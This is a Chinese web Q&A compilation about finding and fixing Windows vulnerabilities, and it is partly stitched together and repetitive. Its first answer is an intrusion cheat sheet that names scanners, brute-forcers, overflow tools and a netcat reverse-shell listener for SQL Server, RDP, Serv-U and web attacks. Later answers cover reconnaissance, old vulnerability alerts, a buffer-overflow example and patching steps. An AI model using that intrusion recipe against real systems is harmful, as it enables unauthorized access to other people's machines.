windows之家1.怎么找漏洞?可否赐教?
1. 1433端口入侵 scanport.exe 查有1433的机器 SQLScanPass.exe 进行字典暴破（字典是关键） 最后 SQLTools.exe入侵 对sql的sp2及以下的系统，可用sql的hello 溢出漏洞入侵。
nc -vv -l -p 本机端口 sqlhelloF.exe 入侵ip 1433 本机ip 本机端口 （以上反向的，测试成功） sqlhelloz.exe 入侵ip 1433 （这个是正向连接） 2. 4899端口入侵 用4899过滤器.exe，扫描空口令的机器 3. 3899的入侵 对很早的机器，可以试试3389的溢出（win3389ex.exe） 对2000的机器，可以试试字典暴破。（tscrack.exe） 4. 80入侵 对sp3以前的机器，可以用webdav入侵； 对bbs论坛，可以试试上传漏洞（upfile.exe或dvup_delphi.exe） 可以利用SQL进行注入。
（啊D的注入软件）。 5. serv-u入侵（21端口） 对5. 004及以下系统，可用溢出入侵。
（serv5004.exe） 对5.1.0.0及以下系统，可用本地提升权限。
2.Win10专业版下自测处理器漏洞的技巧有哪些呢?
首先我们在开始菜单以管理员模式运行Windows PowerShell。
输入Get-ExecutionPolicy检查下PowerShell的运行模式，如果显示是Restricted的话，需要输入Set-ExecutionPolicy -ExecutionPolicy ALLSIGNED进行修改。之后继续运行Install-Module SpeculationControl让系统下载安装检测模块，出现提示的时候输入Y即可。
视网速决定这部分花费的时间有多少，全部完成后，我们就可以用最后一个命令Get-来开始检测了。
3.黑客如何查找互联网网络安全漏洞?
首先，登录Whois。
com网站查找你企业的域名，检索结果将会显示出你的网络系统所使用的DNS服务器。然后再使用一些软件工具，如：nslookup，来进一步挖掘DNS服务器的详细信息。
接下来，需要将目标转向于企业的公众Web站点和你能找到的匿名FTP服务器。 注意，你现在需要关注的信息主要是：域名、这些域名的IP地址、入侵检测系统的所有信息、用户名、电话号码、电子邮件地址、物理位置、已发布的安全策略、业务合作伙伴的资料、以及新并购企业的信息。
此外，在你的上述搜索操作中，一定要特别注意这些网站上已显示的和没有显示的信息。 最好，把这些网页存入你的电脑中，然后用记事本程序打开，查看网页的源代码。
一般而言，查看网页的源代码可以大量的信息，这也就是某些站点有意对浏览者屏蔽源代码的原因。在源代码文件中，你也许能够了解到网站开发者建站的方式：他们所使用的软 件类型及软件版本、网站以及网页的架构，有时候甚至能够发现一些网站管理员的个人资料。
业务合作伙伴的站点或一些新的并购企业的站点往往是黑客入侵的关键点。这些站点是间接入侵目标站点的最佳突破口，容易被网站管理员所忽视，给黑客攻击者制造了大量的机会。
如果你在这方面没有足够的警惕性，疏忽大意，很草率地新某个新的业务合作者的网站和你自己的站点联接起来，往往会造成很严重的后果，给你的站点带来极大的安全威胁。 在这样的情况下，安全问题比经营问题更加重要，一定要确保安全操作。
从外部审视网络 有了上述信息收集，你可以开始审视你的网络了。你可以运用路径追踪命令来查看你的网络拓扑结构图和访问控制的相关设置。
你会获得大量交换机的特征信息，用来旁路访问控制设备。 注意，命令的反馈结果会因为所使用操作系统的不同而有所差别。
UNIX操作系统使用UDP，也可以选择使用ICMP；而Windows操作系统默认用ICMP来响应请求（Ping）。 你也可以用开源工具管理大量ping sweep、执行TCP/UDP协议扫描、操作系统探测。
这样做的目的就是要了解，在那些外部访问者的眼中，你的网络系统的运行状况和一些基本的面 貌、特征。因此，你需要检验你的网络系统，哪些端口和服务对外部访问者是开放的或可用的，外部访问者是否可以了解到你所使用的操作系统和一些程序，极其版本信息。
简言 之，就是要了解到你的网络系统究竟对那些外部访问者开放了哪些端口或服务，泄露了哪些站点的基本信息。 在你开始上述工作之前，你必须要先获得足够的授权，才能进入整个网络系统并对其进行考察、分析。
千万不要将你了解到信息告知那些不怀好意的人。记住：安全防护是一个实 施过程，而不仅仅是一种技术。
4.微软的Windows系统的漏洞有哪些?
漏洞预警一：IE HTML高危溢出漏洞 类型：远程溢出漏洞 危险程度：★★★★★ 漏洞被利用后果：黑客通过IE轻松获得Vista最高权限 Internet Explorer(IE)是微软开发的网页浏览器，Vista系统中的IE7不仅仅加强了安全功能，在个人隐私保护方面也有所强化。
IE7具有彻底的清除功能，而且在防止网络钓鱼方面也有很大的改进。 但是，现在互联网的安全形势越来越严峻，其中就有很多黑客布下的陷阱。
在这些陷阱中，网页木马这种形式是最常见的。网页木马并非是一种全新的木马，它利用IE漏洞进行伪装，演示得和正常页面一样，可是一旦用户浏览该网页后，木马程序就会自动在系统中秘密运行了。
随着Vista系统和IE7。0浏览器的逐步普及，和它们相关的漏洞也可能会大量出现。
漏洞预警二：MSN联系人拒绝服务漏洞 类型：远程代码执行漏洞 危险程度：★★★★☆ 漏洞被利用后果：黑客通过MSN漏洞导致系统崩溃或者系统被控制 最近发布的《2006年即时通讯季度平均活跃账户数排名》显示，腾讯QQ毫无悬念地排名首位。 不过MSN的能量也不可小觑，尤其是在Vista正式发布后。
MSN的漏洞也层出不穷，比如“PNG 处理中的漏洞可能允许远程执行代码”漏洞就是迄今为止MSN最为严重的漏洞之一。 今年年初，QQ和UC都相继出现了高危漏洞，随着MSN用户越来越多，加上微软的名头，势必会有更多的黑客高度关注MSN。
这样黑客对MSN的破解分析加剧，其漏洞被发现的几率也将越来越大，各种关于MSN的病毒，比如MSN尾巴，极有可能如同QQ尾巴那样泛滥，同时利用MSN的入侵事件也会越来越多。可以预见，MSN将成为Vista庞大安全防线中的一大薄弱环节。
漏洞预警三：WMP插件缓冲区溢出漏洞 类型：任意指令执行漏洞 危险程度：★★★★☆ 漏洞被利用后果：黑客通过恶意插件控制系统 Windows Media Player(WMP)是Windows系统自带的媒体播放器。 DRM是微软研发的新型拷贝防护系统，作为插件，它使用到WMP上面，会禁止用户在非高清视频输出设备上欣赏受保护的高清节目。
不过Vista刚刚发布，就有人声称DRM技术已经被攻破，用户即使通过模拟接口也照样可以在Vista上观看各种高清节目。 现在就有黑客利用“Windows媒体播放器数字权限管理加载任意网页漏洞”来传播网页木马。
当WMP以及其他播放器播放恶意文件时，程序会弹出一个窗口说文件经过DRM加密需要验证证书，当用户点击链接下载验证证书时就会激活包含在网页中的木马程序。尽管DRM版权保护技术被攻破的消息还没有完全得到确认，不过并非没有可能。
如此一来，新一轮利用多媒体文件进行木马传播的高潮又将来临。 漏洞预警四：远程桌面拒绝服务漏洞 类型：拒绝服务漏洞 危险程度：★★★★ 漏洞被利用后果：黑客绕过防火墙轻易进入系统 远程桌面是为了方便网络管理员维护系统而推出的。
网络管理员使用远程桌面连接程序连接到网络任意一台开启了远程桌面控制功能的计算机上，就好比自己操作该计算机一样，可以运行应用程序，维护数据库等。 也正因为如此，该功能推出以来，通过3389端口来进行入侵已经不是什么新鲜事。
远程桌面对于任何人来说都是一个永远不会被杀毒软件查杀的后门，再加上很多用户的账户密码很简单，所以入侵更是易如反掌。所以只要远程桌面服务存在，就必将成为黑客入侵系统的主要方式之一。
漏洞预警五：Windows矢量标记语言缓冲区溢出漏洞 类型：远程溢出漏洞 危险程度：★★★★ 漏洞被利用后果：黑客通过溢出获得系统的最高权限 利用远程溢出漏洞进行入侵是如今常见的入侵方式之一，远程溢出的后果则是被黑客进行远程控制，进而会导致被黑客安装程序，或者黑客在用户的电脑中创建拥有完全用户权限的新账户等一系列高风险的后果。 很多高危的远程系统漏洞都被一些危险性极高的病毒所利用。
比如2004年的“震荡波”病毒就是利用的LSASS漏洞。 影响Vista以前版本的Windows矢量标记语言缓冲区溢出漏洞已经出现，现在利用该漏洞的网页木马生成器已经随处可见。
虽然受影响的系统不包括Vista系统，但是由于IE7浏览器会受到影响，Vista系统也不可避免地会受到相应的影响。
5.数据库系统怎么找漏洞?
所谓漏洞，通常是指软件中存在的一些bug，但这种bug又不同于普通软件测试中的bug。
普通软件测试中的bug指的是功能性或逻辑性的错误，如对话框弹出出错、系统执行某功能失败等。这些bug影响的只是用户的使用体验，并不对系统的安全构成威胁…… 如今，在病毒肆虐、黑客无处不在的网络环境里，软件的安全性已成为一个备受关注的话题。
传统的软件安全性关注的主要在于权限与角色的管理，如访问控制，或是数据的机密性与完整性，如加密解密。但是一个软件系统在应用了这些安全措施之后就能确保其万无一失了吗？答案似乎并不那么简单，其中一个重要（甚至可以说致命）的问题在于软件系统中的漏洞。
常常在一个看似牢不可破的系统中，仅仅是因为存在一个小小的漏洞，导致整个安全体系被黑客轻易地攻破，整个系统的控制权彻底丧失。 所谓漏洞，通常是指软件中存在的一些bug，但这种bug又不同于普通软件测试中的bug。
普通软件测试中的bug指的是功能性或逻辑性的错误，如对话框弹出出错、系统执行某功能失败等。 这些bug影响的只是用户的使用体验，并不对系统的安全构成威胁。
而软件的安全漏洞指的是某些别有用心的用户非正常的使用软件，让软件执行一些自己精心设计的恶意代码，或解析畸形文件，当软件中存在安全漏洞的时候，程序的正常执行流程被改变，从而达到获取系统的控制权或窃取机密数据的目的。 数据库系统是在操作系统平台之上的最重要的系统软件，数据库系统的安全可以说是十分重要的。
曾经有句话这样说：如果网络遍地是金钱，那么金钱就在数据库服务器中。随着无纸化业务环境的不断扩大，人们在数据库中存储着越来越多的敏感信息：银行账户、医疗记录、政府文件、军事机密等等，数据库系统就成为越来越有价值的攻击目标，因此确保数据库系统的安全也越来越重要。
作为一种大型的系统软件，数据库系统中也存在着各种各样的安全漏洞，其中危害性较大的有缓冲区溢出、堆溢出和SQL注入等。 1。
缓冲区溢出 缓冲区溢出是一种很常见也很古老的安全漏洞。早在上个世纪80年代，缓冲区溢出就已经为人所知，但时至今日，大量的缓冲区溢出漏洞仍被发现。
最著名的Morris蠕虫就是利用Unix系统上fingerd程序的缓冲区溢出漏洞。在Oracle 9i发布之初，Oarcle公司曾宣称他的数据库是“ unbreakable ”的，但不到几个月的时间，就暴出Oracle 9i中oracle。
exe、XDB等程序存在多个缓冲区溢出漏洞。 在C语言中最常见的缓冲区就是字符数组，而操纵字符数组的函数有gets、strcpy、sprintf等。
这些函数在执行字符串拷贝的过程中没有对字符串进行长度检查，这样就很容易发生超长的字符串溢出缓冲区的情况。当初这样设计是出于效率的考虑，但现在看来，这些函数的使用已成为C语言软件脆弱的一个重要因素。
如果程序员没有良好的编程习惯，时刻注意函数调用过程中是否拷贝了超过缓冲区长度的字符串，那么缓冲区溢出就不可避免。对于一个有缓冲区溢出漏洞的程序，当普通用户输入超长字符串时，通常只会使该程序崩溃。
例如对于下面一小段代码：/* vulprog */ #include int main(int argc , char * argv[]) { char buff[8]; strcpy(buff, argv[1])； } 如果用户执行 。 /vulprog AAAAAAAAAAAAAAAA，在Linux上会出现段错误，因为用户输入了超长的字符串，除了填满了缓冲区，还覆盖了其他一些程序正常退出所需要的数据。
为了研究这个问题，就需要了解Linux系统中进程的内存空间。
6.如何修复这些帐户管理漏洞
是用金山毒霸扫描的吧，和我遇到的情况一样。
前两种要通过修改注册表，具体方法应该有告诉你的吧，有些难找，不过耐心找总可以找的。注册表编辑器的打开方法是点击“开始→运行”，输入“Regedit.exe”回车即可。
第三种方法是右键点击我的电脑，单击管理。双击本地用户和组，单击用户，右键点击administrator，把它重命名即可。
你只要右键点击restrictanonymous，单击修改，然后输入1，还有一个也一样。建立名为administrator低权限的假帐户的方法是这样的：“控制面板→用户账户”，单击创建一个新账户，命名为administrator，选择“受限”，然后就ok了。
7.如何修复WIN10系统的高危漏洞问题呀
首先是win10能够正常进入系统的情况，这时候，只需要首先打开左下角的开始菜单，选择【设置】。如下图。
2
选择【更新与安全】。
3
然后选择【恢复】——重置此电脑的【开始】。请注意，请注意保存您C盘的重要个人资料，当然包括桌面的资料，因为这样重装win10系统之后会删除掉原来的非系统文件。
4
然后选择【保留我的文件】。如下图。
5
然后显示正在准备。
6
然后系统会重新启动，显示正在安装windows，有进度条显示，需要注意：安装过程电脑会重启数次，不要关闭电脑电源。
7
正在获取更新。
8
设置一些基本信息。
9
正在进行最后的配置。
10
安装成功，进入win10桌面。
END
情况二：win10系统启动不了怎么修复_win10系统怎么恢复出厂设置
第二种情况就比较悲惨一些，就是windows10启动失败，win10启动不了陷入无限重启的杯具。这时候在启动动画界面会显示高级选项和疑难解答。选择【疑难解答】。如下图。
然后就可以有多个修复选项可以尝试。建议首先使用【启动修复】来修复妨碍windows加载的问题。
8.怎么修复WIN10系统的高危漏洞呢
打开我的电脑，然后选择上方的标题栏，从中找到查看按钮，在到里面找到【控制面板】选项；打开控制面板之后，从中有一个更新和安全的选项，点击打开这个选项可以看到有一个windows更新；点击打开这个更新，然后选择自动更新按钮，然后每周就可以获得一次系统更新了哦如果担心更新的一部分补丁是自己不需要的占用了太多内存空间，想要解决也很简单，下载一个腾讯电脑管家打开工具箱；在工具箱里面，可以找到有一个叫做修复漏洞的功能，点击打开查看一下漏洞的分类然后再去从中选择一下，那些漏洞是需要更新的，那些是不需要更新的点击一键修复就可以了。
转载请注明出处windows之家 » 如何找win10的漏洞